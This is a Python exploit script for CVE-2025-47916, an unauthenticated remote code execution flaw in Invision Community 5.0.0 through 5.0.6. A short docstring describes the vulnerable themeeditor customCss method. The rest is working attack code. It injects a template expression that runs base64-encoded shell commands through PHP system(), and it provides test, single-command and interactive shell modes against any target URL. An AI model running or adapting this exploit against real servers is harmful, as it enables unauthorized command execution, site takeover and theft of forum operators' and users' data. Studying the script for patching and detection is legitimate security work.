Invision Community Theme Editor Template Injection Unauthenticated RCE (CVE-2025-47916)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119

import requests
import base64
from argparse import ArgumentParser

"""
CVE-2025-47916 - Invision Community Remote Code Execution Vulnerability
Author: Egidio Romano
Date: 2025

Description:
Invision Community versions 5.0.0 through 5.0.6 contain a Remote Code Execution
vulnerability in the customCss() method of the
IPS\core\modules\front\system\themeeditor controller
(/applications/core/modules/front/system/themeeditor.php). The method is
inaccessible via authentication controls and processes user-supplied data from
the "content" request parameter through Theme::makeProcessFunction(), allowing
crafted template syntax to be executed as PHP code. Remote, unauthenticated
attackers can leverage this behavior to execute arbitrary PHP code on the
server.
"""

class InvisionExploit:
    def __init__(self, target_url, proxy=None):
        self.target_url = target_url.rstrip('/')
        self.proxies = {'http': proxy, 'https': proxy} if proxy else {}
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Content-Type': 'application/x-www-form-urlencoded'
        })
    
    def execute_command(self, command):
        encoded_cmd = base64.b64encode(command.encode()).decode()
        payload = f'{{expression="die(\'________\'.system(base64_decode(\'{encoded_cmd}\')))"}}'
        
        data = {
            'app': 'core',
            'module': 'system',
            'controller': 'themeeditor', 
            'do': 'customCss',
            'content': payload
        }
        
        try:
            response = self.session.post(
                self.target_url,
                data=data,
                proxies=self.proxies,
                verify=False,
                timeout=30
            )
            
            if '________' in response.text:
                return response.text.split('________')[0].strip()
            else:
                return None
        except Exception as e:
            return f"Error: {e}"
    
    def test_vulnerability(self):
        result = self.execute_command('echo TEST')
        return result is not None and 'TEST' in result

def main():
    parser = ArgumentParser(description='Invision Community 5.0.6 RCE Exploit')
    parser.add_argument('target', help='Target URL')
    parser.add_argument('-p', '--proxy', help='Proxy server')
    parser.add_argument('-c', '--command', help='Single command to execute')
    parser.add_argument('-t', '--test', action='store_true', help='Test vulnerability')
    
    args = parser.parse_args()
    
    print("Invision Community <= 5.0.6 RCE Exploit")
    print("=" * 45)
    
    exploit = InvisionExploit(args.target, args.proxy)
    
    if args.test:
        print("[*] Testing vulnerability...")
        if exploit.test_vulnerability():
            print("[+] Target is vulnerable!")
        else:
            print("[-] Target not vulnerable")
        return
    
    if args.command:
        print(f"[*] Executing: {args.command}")
        result = exploit.execute_command(args.command)
        if result:
            print(result)
        else:
            print("[-] Command execution failed")
        return
    
    print("[*] Interactive shell started. Type 'exit' to quit.")
    
    while True:
        try:
            cmd = input("invision-shell# ").strip()
            if cmd == "exit":
                break
            if not cmd:
                continue
                
            result = exploit.execute_command(cmd)
            if result:
                print(result)
            else:
                print("[-] Command execution failed")
                
        except KeyboardInterrupt:
            print("\n[*] Exiting...")
            break
        except Exception as e:
            print(f"[-] Error: {e}")
            break

if __name__ == '__main__':
    main()